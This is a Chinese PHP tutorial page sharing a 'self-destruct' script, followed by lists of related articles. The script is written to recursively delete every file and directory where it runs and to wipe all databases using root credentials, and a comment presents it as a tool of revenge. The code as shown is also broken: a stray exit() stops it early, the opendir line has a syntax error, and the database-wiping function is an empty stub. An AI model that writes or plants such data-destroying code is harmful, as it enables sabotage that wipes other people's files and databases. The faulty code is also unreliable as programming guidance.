PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP 和 XML: 使用expat函数(二)
Oct 09 PHP
PHP完整的日历类(CLASS)
Nov 27 PHP
常用表单验证类,有了这个,一般的验证就都齐了。
Dec 06 PHP
自己前几天写的无限分类类
Feb 14 PHP
PHP生成月历代码
Jun 14 PHP
phpMyAdmin 安装及问题总结
May 28 PHP
php输出全球各个时区列表的方法
Mar 31 PHP
培养自己的php编码规范
Sep 28 PHP
CentOS系统中PHP安装扩展的方式汇总
Apr 09 PHP
PHP JWT初识及其简单示例
Oct 10 PHP
php集成开发环境详解
Sep 24 PHP
gearman中worker常驻后台,导致MySQL server has gone away的解决方法
Feb 27 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
深入浅析yii2-gii自定义模板的方法
2016/04/26 PHP
PHP pear安装配置教程
2016/05/14 PHP
YUI 读码日记之 YAHOO.util.Dom - Part.1
2008/03/22 Javascript
jquery访问ashx文件示例代码
2014/08/11 Javascript
js检测判断日期大于多少天的方法
2015/05/04 Javascript
JS随机调用指定函数的方法
2015/07/01 Javascript
jquery日历插件datepicker用法分析
2016/01/22 Javascript
JavaScript浏览器对象之一Window对象详解
2016/06/03 Javascript
微信小程序 实战小程序实例
2016/10/08 Javascript
Nodejs下DNS缓存问题浅析
2016/11/16 NodeJs
微信小程序遇到修改数据后页面不渲染的问题解决
2017/03/09 Javascript
详细AngularJs4的图片剪裁组件的实例
2017/07/12 Javascript
简单谈谈js的数据类型
2017/09/25 Javascript
解决vue处理axios post请求传参的问题
2018/03/05 Javascript
vue用递归组件写树形控件的实例代码
2018/07/19 Javascript
解决vue keep-alive 数据更新的问题
2018/09/21 Javascript
详解Vue前端对axios的封装和使用
2019/04/01 Javascript
Jquery 获取相同NAME 或者id删除行操作
2020/08/24 jQuery
Python的lambda匿名函数的简单介绍
2013/04/25 Python
基于Python实现的扫雷游戏实例代码
2014/08/01 Python
Python实现多线程抓取网页功能实例详解
2017/06/08 Python
Python中偏函数用法示例
2018/06/07 Python
pandas实现to_sql将DataFrame保存到数据库中
2019/07/03 Python
python实现大学人员管理系统
2019/10/25 Python
使用CSS3实现SVG路径描边动画效果入门教程
2019/10/21 HTML / CSS
土耳其玩具商店:Toyzz Shop
2019/08/02 全球购物
Jowissa官方网站:瑞士制造的手表,优雅简约的设计
2020/07/29 全球购物
Servlet都有哪些方法?主要作用是什么?
2014/03/04 面试题
市场营销专业个人求职信范文
2013/12/14 职场文书
最新大学职业规划书范文
2013/12/30 职场文书
2014物价局群众路线对照检查材料思想汇报
2014/09/21 职场文书
村党支部对照检查材料思想汇报
2014/09/28 职场文书
2015年考研复习计划
2015/01/19 职场文书
趣味运动会简讯
2015/07/20 职场文书
Matlab求解数组中的最大值及它所在的具体位置
2021/04/16 Python
详解Python+OpenCV进行基础的图像操作
2022/02/15 Python